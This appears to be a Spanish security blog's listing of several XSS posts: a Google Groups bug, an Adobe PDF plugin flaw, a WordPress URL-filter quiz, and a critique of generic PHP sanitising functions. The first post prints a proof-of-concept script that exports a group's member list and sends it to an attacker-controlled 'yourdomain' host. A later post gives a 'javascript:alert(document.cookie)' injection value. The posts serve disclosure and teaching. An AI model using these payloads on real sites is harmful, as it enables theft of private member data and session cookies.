Categories
Google JavaScript Seguridad XSS

Otro bug, de la mano de Google

Este año recién empieza y ya se han reportado múltiples fallos de seguridad en diversas aplicaciones, esta vez Michael Schwarz comenta sobre un bug en Google Groups, que permite insertar javascript en el mensaje que se envía al administrador del grupo al momento de suscribirse.

Google groups

En el mismo artículo, pone código de prueba que permite obtener la lista de miembros de un grupo X.

javascript:

<script type="text/javascript">
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "/group/[GROUPNAME]/manage_members/MemberList.csv?Action.Export=Export+member+list", true);
xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
        var img = document.createElement("img");
        img.src = "http://yourdomain/?" + escape(xmlhttp.responseText);
        document.body.appendChild(img);
    }
};
xmlhttp.send(null);
</script>
Categories
Seguridad XSS

XSS a través del plugin para PDF de Adobe

Hace algunas horas, Stefan Esser comentaba un bug, descubierto por Stefano Di Paola, en el plugin para PDF de Adobe, que permite realizar ataques XSS a cualquier sitio que contenga documentos PDF.

Ejm: http://www.google.com/

Sugieren deshabilitar este plugin para evitar problemas.

Categories
JavaScript Quiz Seguridad Web WordPress XSS

Filtro de datos – Solución

El código mostrado en el último quiz, en realidad es una función de WordPress que era vulnerable a XSS. Pongo la solución en una nueva entrada porque intentaré describir algunos de los errores que cometí al intentar explotar el bug mencionado en una entrada anterior.

Categories
Quiz Seguridad Web XSS

Filtro de datos

Volviendo a los quiz:

php:

<?php

function clean_url( $url ) {
        if ('' == $url) return $url;
        $url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%]|i', '', $url);
        $strip = array('%0d', '%0a');
        $url = str_replace($strip, '', $url);
        $url = str_replace(';//', '://', $url);
        $url = (!strstr($url, '://')) ? 'http://'.$url : $url;
        $url = preg_replace('/&([^#])(?![a-z]{2,8};)/', '&1', $url);
        return $url;
}

$u = clean_url($_GET['u']);
echo '<a href="' . $u . '">' . $u . '</a>';

?>

¿Qué valor o valores debe tener la variable u para que el código mostrado sea vulnerable a XSS?

Categories
.NET ASP.NET PHP Seguridad XSS

Problema con los filtros genéricos

Hoy, acabo de encontrar en un foro la siguiente porción de código, que según su autor protege de ataques SQL Injection y XSS:

php:

# Función para evitar ataques SQL injection y XSS
function limpiar_sql($value){
    $value = trim(htmlentities($value)); // Evita introducción código HTML
    if (get_magic_quotes_gpc()) $value = stripslashes($value);
    $value = mysql_real_escape_string($value);
    return $value;
}

El problema con este tipo de funciones es que dan una falsa sensación de seguridad si éstas no son aplicadas en el lugar correcto, por ejemplo si intentamos usar esa función para el siguiente ejemplo:

php:

$url = limpiar_sql($_POST['url']);
// Guardar el valor...

// Mostrar la url
echo '<a href="' . $url . '">enlace</a>";

Veremos que la porción de código mostrada es vulnerable a XSS si el valor de url contiene algo como javascript:alert(document.cookie).

Si recordamos una entrada anterior, el bug en asp.net que permite realizar ataques XSS tiene un problema similar (uso de HttpUtility.HtmlEncode en lugar de HttpUtility.UrlEncode).

Como reflexión final, si queremos hacer uso de este tipo de funciones para validar/filtrar todos nuestros datos, debemos saber realmente que estamos haciendo.